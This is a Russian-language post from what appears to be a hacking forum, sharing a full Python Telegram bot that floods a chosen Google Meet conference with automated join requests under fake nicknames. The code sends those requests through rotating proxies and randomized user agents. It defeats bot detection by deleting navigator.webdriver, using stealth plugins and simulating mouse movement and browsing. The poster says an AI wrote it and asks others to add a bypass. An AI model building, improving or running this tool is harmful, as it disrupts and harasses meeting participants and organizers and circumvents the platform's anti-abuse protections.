• XSS.stack #1 – первый литературный журнал от юзеров форума

Спам запросами на конфу в гугл мит.

кекич

RAID-массив
Пользователь
Регистрация
29.06.2025
Сообщения
72
Реакции
11
Я, конечно, сомневаюсь, что тот, кто это делал, всё писал вручную)) Может, кто-то заморочится и сделает обход?)))

Вот что сказал ии .
1758023446291.png

Python:
import asyncio
import random
import logging
import json
import os
from typing import Optional, List
from playwright.async_api import async_playwright
from playwright_stealth import stealth_async
from telegram import Update, Bot
from telegram.ext import Application, CommandHandler, ContextTypes, MessageHandler, filters
import aiohttp
import time

# Configuration
CONFIG_FILE = "config.json"
PROXIES_FILE = "proxies.txt"
NICKNAMES_FILE = "nicknames.txt"
BOT_TOKEN = ""
DEBUG_MODE = True

# Create debug directory
DEBUG_DIR = "debug_screenshots"
os.makedirs(DEBUG_DIR, exist_ok=True)

# Global bot instance
bot_instance = None

# Logging
logging.basicConfig(
    level=logging.INFO,
    format='%(asctime)s - %(name)s - %(levelname)s - %(message)s'
)
logger = logging.getLogger(__name__)

class MeetBot:
    def __init__(self):
        self.user_agents = [
            'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
            'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
            'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36',
            'Mozilla/5.0 (iPhone; CPU iPhone OS 16_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.0 Mobile/15E148 Safari/604.1'
        ]
       
        self.screen_resolutions = [
            {"width": 1920, "height": 1080},
            {"width": 1366, "height": 768},
            {"width": 1536, "height": 864},
            {"width": 1440, "height": 900}
        ]
       
        self.search_queries = [
            "how to learn programming", "weather today", "latest news",
            "python tutorials", "music videos", "funny cats",
            "cooking recipes", "travel vlogs", "tech reviews",
            "gaming highlights", "sports news", "movie trailers"
        ]
       
        self.youtube_videos = [
            "dQw4w9WgXcQ", "jNQXAC9IVRw", "oHg5SJYRHA0",
            "9bZkp7q19f0", "OPf0YbXqDm0", "VYOjWnS4cMY",
            "RgKAFK5djSk", "fJ9rUzIMcZQ", "kJQP7kiw5Fk"
        ]
       
        self.proxies = self.load_proxies()
        self.nicknames = self.load_nicknames()
        self.config = self.load_config()
        self.active_attacks = {}

    def debug_log(self, message: str):
        if DEBUG_MODE:
            timestamp = time.strftime("%H:%M:%S")
            print(f"🐛 [{timestamp}] {message}")

    def load_proxies(self) -> List[str]:
        try:
            if os.path.exists(PROXIES_FILE):
                with open(PROXIES_FILE, 'r', encoding='utf-8') as f:
                    return [line.strip() for line in f if line.strip()]
            return []
        except:
            return []

    def load_nicknames(self) -> List[str]:
        try:
            with open(NICKNAMES_FILE, 'r', encoding='utf-8') as f:
                return [line.strip() for line in f if line.strip()]
        except:
            return [f"Guest{i}" for i in range(1, 101)]

    def load_config(self) -> dict:
        try:
            with open(CONFIG_FILE, 'r') as f:
                return json.load(f)
        except:
            return {"meet_code": "", "user_count": 3, "use_proxies": False, "delay_min": 15, "delay_max": 30}

    def save_config(self):
        with open(CONFIG_FILE, 'w') as f:
            json.dump(self.config, f, indent=2)

    def save_proxies(self):
        with open(PROXIES_FILE, 'w', encoding='utf-8') as f:
            for proxy in self.proxies:
                f.write(f"{proxy}\n")

    async def create_browser_context(self, proxy: Optional[str] = None):
        self.debug_log("Creating browser context...")
       
        playwright = await async_playwright().start()
       
        launch_options = {
            "headless": False,
            "args": [
                "--no-sandbox",
                "--disable-setuid-sandbox",
                "--disable-web-security",
                "--allow-running-insecure-content",
                "--disable-blink-features=AutomationControlled",
                f"--window-size={random.choice(self.screen_resolutions)['width']},{random.choice(self.screen_resolutions)['height']}",
                "--lang=en-US,en;q=0.9",
                f"--user-agent={random.choice(self.user_agents)}"
            ]
        }
       
        # УБИРАЕМ proxy из launch_options args - это неправильно
        # Вместо этого используем proxy в контексте
       
        browser = await playwright.chromium.launch(**launch_options)
       
        context_options = {
            "viewport": random.choice(self.screen_resolutions),
            "locale": "en-US",
            "timezone_id": random.choice(["America/New_York", "Europe/London", "Asia/Tokyo"])
        }
       
        # ДОБАВЛЯЕМ ПРОКСИ ТОЛЬКО В КОНТЕКСТ
        if proxy:
            try:
                ip, port, user, password = proxy.split(':')
                context_options["proxy"] = {
                    "server": f"http://{ip}:{port}",
                    "username": user,
                    "password": password
                }
                self.debug_log(f"🔧 Proxy set in context: {user}:***@{ip}:{port}")
            except Exception as e:
                self.debug_log(f"❌ Invalid proxy format: {e}")
                proxy = None
       
        context = await browser.new_context(**context_options)
        await stealth_async(context)
       
        # ПРОВЕРКА ПРОКСИ
        if proxy:
            try:
                test_page = await context.new_page()
                await test_page.goto("https://httpbin.org/ip", timeout=15000)
                content = await test_page.content()
                if ip in content:
                    self.debug_log("✅ Proxy working correctly!")
                else:
                    self.debug_log("❌ Proxy NOT working! Using real IP")
                await test_page.close()
            except Exception as e:
                self.debug_log(f"⚠️ Proxy test failed: {e}")
        else:
            self.debug_log("ℹ️ No proxy used - real IP will be exposed")
       
        await context.add_init_script("""
            delete navigator.__proto__.webdriver;
            window.chrome = {runtime: {}};
            Object.defineProperty(navigator, 'plugins', {get: () => [1, 2, 3, 4, 5]});
        """)
       
        self.debug_log("Browser context created successfully")
        return playwright, browser, context

    async def take_screenshot(self, page, step_name: str):
        if DEBUG_MODE:
            try:
                timestamp = int(time.time())
                screenshot_path = os.path.join(DEBUG_DIR, f"debug_{step_name}_{timestamp}.png")
                await page.screenshot(path=screenshot_path)
                self.debug_log(f"Screenshot saved: {screenshot_path}")
            except Exception as e:
                self.debug_log(f"Failed to take screenshot: {e}")

    async def human_like_movement(self, page):
        """Человекоподобные движения мышкой"""
        self.debug_log("🖱️ Performing human-like movements...")
        viewport = page.viewport_size
        for i in range(random.randint(3, 7)):
            x = random.randint(0, viewport["width"] // 2)
            y = random.randint(0, viewport["height"] // 2)
            await page.mouse.move(x, y)
            await asyncio.sleep(random.uniform(0.1, 0.3))
       
        # Случайный скролл
        if random.random() > 0.3:
            scroll_amount = random.randint(100, 500)
            await page.mouse.wheel(0, scroll_amount)
            await asyncio.sleep(random.uniform(0.5, 1.5))

    async def random_browsing_activity(self, page):
        """Случайный серфинг перед заходом в Meet"""
        self.debug_log("🌐 Starting random browsing activity...")
       
        activities = [
            self.youtube_search,
            self.google_search,
            self.watch_youtube_video
        ]
       
        # Выполняем 1-2 случайные активности
        num_activities = random.randint(1, 2)
        for i in range(num_activities):
            activity = random.choice(activities)
            try:
                await activity(page)
                await asyncio.sleep(random.uniform(2, 5))
            except Exception as e:
                self.debug_log(f"Activity failed: {e}")
                continue

    async def youtube_search(self, page):
        """Поиск на YouTube"""
        self.debug_log("🎥 Searching on YouTube...")
        await page.goto("https://www.youtube.com", timeout=15000)
        await self.take_screenshot(page, "youtube_home")
        await self.human_like_movement(page)
       
        # Ищем поисковую строку
        search_box = await page.query_selector("input#search")
        if search_box:
            query = random.choice(self.search_queries)
            await search_box.click()
            await asyncio.sleep(0.5)
           
            # Медленный ввод запроса
            for char in query:
                await search_box.type(char)
                await asyncio.sleep(random.uniform(0.05, 0.15))
           
            await asyncio.sleep(1)
            await search_box.press("Enter")
            await self.take_screenshot(page, "youtube_search")
            await asyncio.sleep(random.uniform(3, 6))

    async def google_search(self, page):
        """Поиск в Google"""
        self.debug_log("🔍 Searching on Google...")
        await page.goto("https://www.google.com", timeout=15000)
        await self.take_screenshot(page, "google_home")
        await self.human_like_movement(page)
       
        # Принимаем куки если есть
        try:
            accept_btn = await page.query_selector("button:has-text('Accept all'), button:has-text('Принять все')")
            if accept_btn:
                await accept_btn.click()
                await asyncio.sleep(1)
        except:
            pass
       
        # Поисковая строка
        search_box = await page.query_selector("textarea[name='q'], input[name='q']")
        if search_box:
            query = random.choice(self.search_queries)
            await search_box.click()
            await asyncio.sleep(0.5)
           
            for char in query:
                await search_box.type(char)
                await asyncio.sleep(random.uniform(0.05, 0.15))
           
            await asyncio.sleep(1)
            await search_box.press("Enter")
            await self.take_screenshot(page, "google_search")
            await asyncio.sleep(random.uniform(3, 6))

    async def watch_youtube_video(self, page):
        """Просмотр случайного YouTube видео"""
        self.debug_log("📺 Watching YouTube video...")
        video_id = random.choice(self.youtube_videos)
        await page.goto(f"https://www.youtube.com/watch?v={video_id}", timeout=15000)
        await self.take_screenshot(page, "youtube_video")
        await self.human_like_movement(page)
       
        # Ждем загрузки видео
        await asyncio.sleep(random.uniform(5, 10))
       
        # Случайный скролл комментариев
        if random.random() > 0.5:
            await page.mouse.wheel(0, random.randint(300, 800))
            await asyncio.sleep(random.uniform(2, 4))

    async def join_meet(self, nickname: str, meet_code: str, proxy: Optional[str] = None):
        self.debug_log(f"🚀 Starting join process for {nickname}")
        self.debug_log(f"🔗 Proxy specified: {proxy is not None}")
       
        if proxy:
            try:
                ip, port, user, password = proxy.split(':')
                self.debug_log(f"📡 Using proxy: {ip}:{port}")
            except:
                self.debug_log("❌ Invalid proxy format")
                proxy = None
        else:
            self.debug_log("⚠️ WARNING: No proxy used - real IP will be exposed!")
       
        playwright, browser, context = None, None, None
       
        try:
            playwright, browser, context = await self.create_browser_context(proxy)
            page = await context.new_page()
           
            # Шаг 0: Случайный серфинг перед Meet
            if random.random() > 0.2:  # 80% chance
                await self.random_browsing_activity(page)
           
            # Шаг 1: Переход на страницу Meet
            self.debug_log("🌐 Navigating to Meet...")
            await page.goto(f"https://meet.google.com/{meet_code}", timeout=30000)
            await self.take_screenshot(page, "page_loaded")
            await self.human_like_movement(page)
           
            content = await page.content()
            if "access denied" in content.lower() or "not allowed" in content.lower():
                self.debug_log("❌ ACCESS DENIED: Organizer blocked entry")
                await self.take_screenshot(page, "access_denied")
                return False
           
            # Шаг 2: Поиск кнопки Join
            self.debug_log("🔍 Looking for join buttons...")
            join_found = False
            join_selectors = [
                "text=Join now",
                "text=Ask to join",
                "text=Join",
                "div[aria-label*='Join']",
                "button:has-text('Join')"
            ]
           
            for selector in join_selectors:
                try:
                    await page.wait_for_selector(selector, timeout=10000)
                    await page.click(selector)
                    self.debug_log(f"✅ Clicked: {selector}")
                    await self.take_screenshot(page, "after_join_click")
                    join_found = True
                    break
                except:
                    continue
           
            if not join_found:
                self.debug_log("❌ No join buttons found!")
                await self.take_screenshot(page, "no_join_buttons")
                return False
           
            # Шаг 3: Ожидание модального окна с именem
            self.debug_log("⏳ Waiting for name modal...")
            try:
                await page.wait_for_selector("input[type='text'], input[aria-label*='name']", timeout=10000)
                await self.take_screenshot(page, "name_modal_appeared")
            except:
                self.debug_log("❌ Name modal didn't appear!")
                await self.take_screenshot(page, "no_name_modal")
                return False
           
            # Шаг 4: Ввод имени
            self.debug_log("👤 Entering nickname...")
            name_field = await page.query_selector("input[type='text'], input[aria-label*='name']")
            if name_field:
                await name_field.click()
                await name_field.fill("")
                for char in nickname:
                    await name_field.type(char)
                    await asyncio.sleep(random.uniform(0.05, 0.15))
                self.debug_log(f"📝 Entered nickname: {nickname}")
                await self.take_screenshot(page, "name_entered")
            else:
                self.debug_log("❌ No name field found!")
                await self.take_screenshot(page, "no_name_field")
                return False
           
            # Шаг 5: Выключение медиа
            self.debug_log("🔇 Turning off media...")
            media_off = False
           
            try:
                mic_btn = await page.query_selector("div[aria-label*='microphone'], button[aria-label*='microphone']")
                if mic_btn:
                    mic_state = await mic_btn.get_attribute("aria-label")
                    if "off" not in mic_state.lower():
                        await mic_btn.click()
                        self.debug_log("✅ Microphone turned off")
                        media_off = True
            except Exception as e:
                self.debug_log(f"⚠️ Mic toggle failed: {e}")
           
            await asyncio.sleep(1)
           
            try:
                cam_btn = await page.query_selector("div[aria-label*='camera'], button[aria-label*='camera']")
                if cam_btn:
                    cam_state = await cam_btn.get_attribute("aria-label")
                    if "off" not in cam_state.lower():
                        await cam_btn.click()
                        self.debug_log("✅ Camera turned off")
                        media_off = True
            except Exception as e:
                self.debug_log(f"⚠️ Camera toggle failed: {e}")
           
            if media_off:
                await self.take_screenshot(page, "media_off")
           
            # Шаг 6: Финальный Join
            self.debug_log("🎯 Clicking final join...")
            final_joined = False
           
            final_selectors = [
                "text=Join meeting",
                "text=Join now",
                "div[aria-label*='Join meeting']",
                "button:has-text('Join meeting')"
            ]
           
            for selector in final_selectors:
                try:
                    final_btn = await page.query_selector(selector)
                    if final_btn:
                        await final_btn.click()
                        self.debug_log(f"✅ Clicked final: {selector}")
                       
                        await asyncio.sleep(3)
                       
                        current_url = page.url
                        content = await page.content()
                       
                        if "meet.google.com" in current_url and ("meeting" in current_url or "room" in current_url):
                            self.debug_log("✅ SUCCESS: Actually joined the meeting!")
                            await self.take_screenshot(page, "joined_success")
                            final_joined = True
                            break
                        elif "waiting" in content.lower() or "admit" in content.lower():
                            self.debug_log("⏳ WAITING: Waiting for organizer to admit")
                            await self.take_screenshot(page, "waiting_for_organizer")
                            await asyncio.sleep(5)
                            content = await page.content()
                            if "meeting" in content.lower() or "room" in content.lower():
                                self.debug_log("✅ ADMITTED: Organizer admitted to meeting")
                                final_joined = True
                            break
                        else:
                            self.debug_log("❌ FAILED: Didn't actually join meeting")
                            await self.take_screenshot(page, "join_failed")
                except Exception as e:
                    self.debug_log(f"⚠️ Final join failed: {e}")
                    continue
           
            if final_joined:
                await asyncio.sleep(5)
                content = await page.content()
                current_url = page.url
               
                if "meet.google.com" in current_url and ("meeting" in current_url or "room" in current_url):
                    self.debug_log(f"✅ CONFIRMED: {nickname} successfully joined!")
                    await self.take_screenshot(page, "confirmed_join")
                    return True
                else:
                    self.debug_log("❌ JOIN FAILED: Not actually in meeting room")
                    await self.take_screenshot(page, "join_not_confirmed")
                    return False
           
            self.debug_log("❌ Failed to complete join process")
            await self.take_screenshot(page, "final_failure")
            return False
           
        except Exception as e:
            self.debug_log(f"❌ CRITICAL ERROR: {e}")
            import traceback
            self.debug_log(f"Stack trace: {traceback.format_exc()}")
            return False
           
        finally:
            self.debug_log("🧹 Cleaning up...")
            try:
                if context: await context.close()
                if browser: await browser.close()
                if playwright: await playwright.stop()
            except:
                pass

    async def start_attack(self, meet_code: str, user_count: int, use_proxies: bool, chat_id: int):
        if chat_id in self.active_attacks:
            return "❌ Already running an attack for this chat!"
       
        if use_proxies and not self.proxies:
            try:
                bot = Bot(token=BOT_TOKEN)
                await bot.send_message(chat_id, "❌ No proxies configured but use_proxies=True!")
            except:
                pass
            return "No proxies available"
       
        self.active_attacks[chat_id] = True
       
        try:
            user_count = min(user_count, 3)
            success_count = 0
            detailed_results = []
           
            bot = Bot(token=BOT_TOKEN)
            await bot.send_message(chat_id, f"🚀 Starting attack on {meet_code} with {user_count} users...")
            await bot.send_message(chat_id, f"🔗 Using proxies: {use_proxies} (Available: {len(self.proxies)})")
           
            for i in range(user_count):
                proxy = random.choice(self.proxies) if use_proxies and self.proxies else None
                nickname = self.nicknames[i % len(self.nicknames)]
               
                self.debug_log(f"👤 User {i+1}/{user_count}: {nickname}")
                if proxy:
                    self.debug_log(f"📡 With proxy: {proxy.split(':')[0]}:{proxy.split(':')[1]}")
               
                result = await self.join_meet(nickname, meet_code, proxy)
               
                if result:
                    success_count += 1
                    detailed_results.append(f"✅ {nickname} - SUCCESS")
                    await bot.send_message(chat_id, f"✅ {nickname} successfully joined!")
                else:
                    detailed_results.append(f"❌ {nickname} - FAILED")
                    await bot.send_message(chat_id, f"❌ {nickname} failed to join")
                    try:
                        screenshot_files = [f for f in os.listdir(DEBUG_DIR) if f.endswith('.png')]
                        if screenshot_files:
                            latest_screenshot = max(screenshot_files, key=lambda f: os.path.getctime(os.path.join(DEBUG_DIR, f)))
                            await bot.send_photo(chat_id, photo=open(os.path.join(DEBUG_DIR, latest_screenshot), 'rb'))
                            await bot.send_message(chat_id, f"📸 Last screenshot: {latest_screenshot}")
                    except Exception as e:
                        self.debug_log(f"Failed to send screenshot: {e}")
               
                if i < user_count - 1:
                    delay = random.randint(10, 20)
                    await bot.send_message(chat_id, f"⏳ Waiting {delay}s before next user...")
                    await asyncio.sleep(delay)
           
            result_msg = f"📊 Attack completed!\nSuccess: {success_count}/{user_count}\n\nDetails:\n" + "\n".join(detailed_results)
            await bot.send_message(chat_id, result_msg)
            return result_msg
           
        finally:
            self.active_attacks.pop(chat_id, None)

# Telegram bot handlers
async def start(update: Update, context: ContextTypes.DEFAULT_TYPE):
    global bot_instance
    try:
        if bot_instance is None:
            bot_instance = MeetBot()
        await update.message.reply_text(
            "🤖 Google Meet Telegram Bot (DEBUG MODE)\n\n"
            "📋 Available commands:\n"
            "/attack [count] - Start attack\n"
            "/set_code <code> - Set meet code\n"
            "/set_count <number> - Set user count\n"
            "/config - Show current config\n"
            "/proxies - List proxies\n"
            "/add_proxy <ip:port:user:pass> - Add proxy\n"
            "/delay <min> <max> - Set delay range\n"
            "/status - Bot status\n\n"
            "🐛 DEBUG MODE: Screenshots and detailed logs enabled"
        )
    except Exception as e:
        logger.error(f"Start error: {e}")
        await update.message.reply_text("❌ Bot initialization error!")

async def attack(update: Update, context: ContextTypes.DEFAULT_TYPE):
    global bot_instance
    try:
        if bot_instance is None:
            bot_instance = MeetBot()
       
        chat_id = update.message.chat_id
       
        if not bot_instance.config["meet_code"] or bot_instance.config["meet_code"] == "your-meet-code-here":
            await update.message.reply_text("❌ No meet code set! Use /set_code first")
            return
       
        user_count = bot_instance.config["user_count"]
        use_proxies = bot_instance.config["use_proxies"]
       
        if context.args:
            try:
                user_count = int(context.args[0])
                user_count = min(max(user_count, 1), 5)
            except:
                pass
       
        await update.message.reply_text(f"🎯 Starting attack with {user_count} users...")
       
        asyncio.create_task(
            bot_instance.start_attack(
                bot_instance.config["meet_code"],
                user_count,
                use_proxies,
                chat_id
            )
        )
       
    except Exception as e:
        logger.error(f"Attack error: {e}")
        await update.message.reply_text(f"❌ Attack failed: {e}")

async def set_code(update: Update, context: ContextTypes.DEFAULT_TYPE):
    global bot_instance
    try:
        if bot_instance is None:
            bot_instance = MeetBot()
       
        if not context.args:
            await update.message.reply_text("Usage: /set_code <meet_code>")
            return
       
        bot_instance.config["meet_code"] = context.args[0]
        bot_instance.save_config()
        await update.message.reply_text(f"✅ Meet code set to: {context.args[0]}")
        bot_instance.debug_log(f"Meet code updated to: {context.args[0]}")
       
    except Exception as e:
        logger.error(f"Set_code error: {e}")
        await update.message.reply_text(f"❌ Error: {e}")

async def set_count(update: Update, context: ContextTypes.DEFAULT_TYPE):
    global bot_instance
    try:
        if bot_instance is None:
            bot_instance = MeetBot()
       
        if not context.args or not context.args[0].isdigit():
            await update.message.reply_text("Usage: /set_count <number>")
            return
       
        count = min(max(int(context.args[0]), 1), 10)
        bot_instance.config["user_count"] = count
        bot_instance.save_config()
        await update.message.reply_text(f"✅ User count set to: {count}")
        bot_instance.debug_log(f"User count updated to: {count}")
       
    except Exception as e:
        logger.error(f"Set_count error: {e}")
        await update.message.reply_text(f"❌ Error: {e}")

async def show_config(update: Update, context: ContextTypes.DEFAULT_TYPE):
    global bot_instance
    try:
        if bot_instance is None:
            bot_instance = MeetBot()
       
        config = bot_instance.config
        await update.message.reply_text(
            f"📋 Current config:\n"
            f"Meet Code: {config['meet_code']}\n"
            f"User Count: {config['user_count']}\n"
            f"Use Proxies: {config['use_proxies']}\n"
            f"Delay: {config['delay_min']}-{config['delay_max']}s\n\n"
            f"Proxies: {len(bot_instance.proxies)}\n"
            f"Nicknames: {len(bot_instance.nicknames)}\n"
            f"Debug Mode: {'ON' if DEBUG_MODE else 'OFF'}"
        )
    except Exception as e:
        logger.error(f"Show_config error: {e}")
        await update.message.reply_text(f"❌ Error: {e}")

async def list_proxies(update: Update, context: ContextTypes.DEFAULT_TYPE):
    global bot_instance
    try:
        if bot_instance is None:
            bot_instance = MeetBot()
       
        if not bot_instance.proxies:
            await update.message.reply_text("❌ No proxies configured")
            return
       
        message = "📋 Proxies:\n"
        for i, proxy in enumerate(bot_instance.proxies[:5], 1):
            message += f"{i}. {proxy}\n"
       
        if len(bot_instance.proxies) > 5:
            message += f"... and {len(bot_instance.proxies) - 5} more"
       
        await update.message.reply_text(message)
    except Exception as e:
        logger.error(f"List_proxies error: {e}")
        await update.message.reply_text(f"❌ Error: {e}")

async def add_proxy(update: Update, context: ContextTypes.DEFAULT_TYPE):
    global bot_instance
    try:
        if bot_instance is None:
            bot_instance = MeetBot()
       
        if not context.args:
            await update.message.reply_text("Usage: /add_proxy <ip:port:user:pass>")
            return
       
        proxy = context.args[0]
        bot_instance.proxies.append(proxy)
        bot_instance.save_proxies()
        await update.message.reply_text(f"✅ Proxy added! Total: {len(bot_instance.proxies)}")
        bot_instance.debug_log(f"Proxy added: {proxy}")
    except Exception as e:
        logger.error(f"Add_proxy error: {e}")
        await update.message.reply_text(f"❌ Error: {e}")

async def set_delay(update: Update, context: ContextTypes.DEFAULT_TYPE):
    global bot_instance
    try:
        if bot_instance is None:
            bot_instance = MeetBot()
       
        if len(context.args) < 2 or not context.args[0].isdigit() or not context.args[1].isdigit():
            await update.message.reply_text("Usage: /delay <min_seconds> <max_seconds>")
            return
       
        min_delay = int(context.args[0])
        max_delay = int(context.args[1])
       
        bot_instance.config["delay_min"] = min_delay
        bot_instance.config["delay_max"] = max_delay
        bot_instance.save_config()
       
        await update.message.reply_text(f"✅ Delay set to: {min_delay}-{max_delay} seconds")
        bot_instance.debug_log(f"Delay updated: {min_delay}-{max_delay}s")
    except Exception as e:
        logger.error(f"Set_delay error: {e}")
        await update.message.reply_text(f"❌ Error: {e}")

async def status(update: Update, context: ContextTypes.DEFAULT_TYPE):
    global bot_instance
    try:
        if bot_instance is None:
            bot_instance = MeetBot()
       
        await update.message.reply_text(
            f"📊 Bot Status:\n"
            f"Active attacks: {len(bot_instance.active_attacks)}\n"
            f"Proxies: {len(bot_instance.proxies)}\n"
            f"Nicknames: {len(bot_instance.nicknames)}\n"
            f"Meet code: {bot_instance.config['meet_code']}\n"
            f"Debug mode: {'ENABLED' if DEBUG_MODE else 'DISABLED'}"
        )
    except Exception as e:
        logger.error(f"Status error: {e}")
        await update.message.reply_text(f"❌ Error: {e}")

async def error_handler(update: Update, context: ContextTypes.DEFAULT_TYPE):
    logger.error(f"Update caused error: {context.error}")
    try:
        if update and update.message:
            error_msg = f"❌ Error: {str(context.error)[:100]}..."
            await update.message.reply_text(error_msg)
    except:
        pass

def main():
    global bot_instance
    try:
        # Инициализируем бота
        bot_instance = MeetBot()
        bot_instance.debug_log("Bot initialized successfully")
       
        # Создаем Application
        application = Application.builder().token(BOT_TOKEN).build()
       
        # Добавляем обработчики
        application.add_handler(CommandHandler("start", start))
        application.add_handler(CommandHandler("attack", attack))
        application.add_handler(CommandHandler("set_code", set_code))
        application.add_handler(CommandHandler("set_count", set_count))
        application.add_handler(CommandHandler("config", show_config))
        application.add_handler(CommandHandler("proxies", list_proxies))
        application.add_handler(CommandHandler("add_proxy", add_proxy))
        application.add_handler(CommandHandler("delay", set_delay))
        application.add_handler(CommandHandler("status", status))
       
        # Обработчик ошибок
        application.add_error_handler(error_handler)
       
        # Запускаем бота
        logger.info("🤖 Telegram bot starting...")
        application.run_polling()
       
    except Exception as e:
        logger.error(f"Failed to start bot: {e}")

if __name__ == "__main__":
    main()
 

Вложения

  • meet_spamm.zip
    11.6 КБ · Просмотры: 6
Последнее редактирование:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх